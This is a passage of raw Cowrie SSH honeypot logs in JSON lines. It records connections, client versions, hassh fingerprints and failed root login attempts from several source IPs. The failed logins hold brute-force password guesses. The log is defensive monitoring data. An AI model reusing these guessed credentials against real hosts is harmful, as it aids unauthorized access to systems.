-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:30.251359Z","src_ip":"8.218.166.49","session":"41f99b2fd221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":43178,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35515e6ae33","protocol":"ssh","message":"New connection: 103.203.57.2:43178 (10.17.0.5:22) [session: a35515e6ae33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:59.712770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:59.718436Z","src_ip":"103.203.57.2","session":"a35515e6ae33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:59.728787Z","src_ip":"103.203.57.2","session":"a35515e6ae33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":47856,"dst_ip":"10.17.0.5","dst_port":22,"session":"602472ee21f2","protocol":"ssh","message":"New connection: 182.180.57.212:47856 (10.17.0.5:22) [session: 602472ee21f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:05.404008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:05.416925Z","src_ip":"182.180.57.212","session":"602472ee21f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:05.580863Z","src_ip":"8.218.166.49","session":"17b3d5605a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:05.650402Z","src_ip":"182.180.57.212","session":"602472ee21f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:06.597794Z","src_ip":"182.180.57.212","session":"602472ee21f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":54252,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f0650d81231","protocol":"ssh","message":"New connection: 198.23.150.42:54252 (10.17.0.5:22) [session: 3f0650d81231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:06.720074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:06.725268Z","src_ip":"198.23.150.42","session":"3f0650d81231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:06.744328Z","src_ip":"198.23.150.42","session":"3f0650d81231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bruno","message":"login attempt [root/bruno] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:06.841994Z","src_ip":"198.23.150.42","session":"3f0650d81231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:07.830525Z","src_ip":"182.180.57.212","session":"602472ee21f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:07.863458Z","src_ip":"198.23.150.42","session":"3f0650d81231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:09.720692Z","src_ip":"103.203.57.2","session":"a35515e6ae33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:14.231158Z","src_ip":"8.218.166.49","session":"41f99b2fd221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":56034,"dst_ip":"159.203.135.109","dst_port":22,"session":"85f4096139df","protocol":"ssh","message":"New connection: 101.36.124.219:56034 (159.203.135.109:22) [session: 85f4096139df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:20.325205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:20.330215Z","src_ip":"101.36.124.219","session":"85f4096139df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:20.547533Z","src_ip":"101.36.124.219","session":"85f4096139df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":".","message":"login attempt [root/.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:21.445997Z","src_ip":"101.36.124.219","session":"85f4096139df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:21.846354Z","src_ip":"8.218.166.49","session":"5ae74c678c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:22.665363Z","src_ip":"101.36.124.219","session":"85f4096139df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"98.4","message":"Connection lost after 98.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:28.298341Z","src_ip":"8.218.166.49","session":"41f99b2fd221","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:30.148467Z","src_ip":"8.218.166.49","session":"72226ea1b71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:30.352245Z","src_ip":"8.218.166.49","session":"72226ea1b71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:34.203274Z","src_ip":"8.218.166.49","session":"8a7f72c38612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":53288,"dst_ip":"10.17.0.5","dst_port":22,"session":"e345f2c34310","protocol":"ssh","message":"New connection: 104.28.195.187:53288 (10.17.0.5:22) [session: e345f2c34310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:36.237135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:36.241396Z","src_ip":"104.28.195.187","session":"e345f2c34310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:36.368325Z","src_ip":"104.28.195.187","session":"e345f2c34310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Helpdesk","message":"login attempt [root/Helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:36.775357Z","src_ip":"104.28.195.187","session":"e345f2c34310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:37.879797Z","src_ip":"104.28.195.187","session":"e345f2c34310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:38.431886Z","src_ip":"8.218.166.49","session":"17b3d5605a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":55191,"dst_ip":"10.17.0.5","dst_port":22,"session":"018ac7295e83","protocol":"ssh","message":"New connection: 49.207.40.162:55191 (10.17.0.5:22) [session: 018ac7295e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:39.038827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:39.043218Z","src_ip":"49.207.40.162","session":"018ac7295e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:39.260593Z","src_ip":"49.207.40.162","session":"018ac7295e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shashi","message":"login attempt [root/shashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:40.163604Z","src_ip":"49.207.40.162","session":"018ac7295e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:41.387428Z","src_ip":"49.207.40.162","session":"018ac7295e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:44.289757Z","src_ip":"8.218.166.49","session":"17b3d5605a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:45:58.311717Z","src_ip":"8.218.166.49","session":"72226ea1b71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"111.8","message":"Connection lost after 111.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:00.795955Z","src_ip":"8.218.166.49","session":"72226ea1b71f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55542,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef9f7f852bf","protocol":"ssh","message":"New connection: 8.218.166.49:55542 (10.17.0.5:22) [session: aef9f7f852bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:04.843275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:46:05.340906Z","src_ip":"8.218.166.49","session":"aef9f7f852bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@o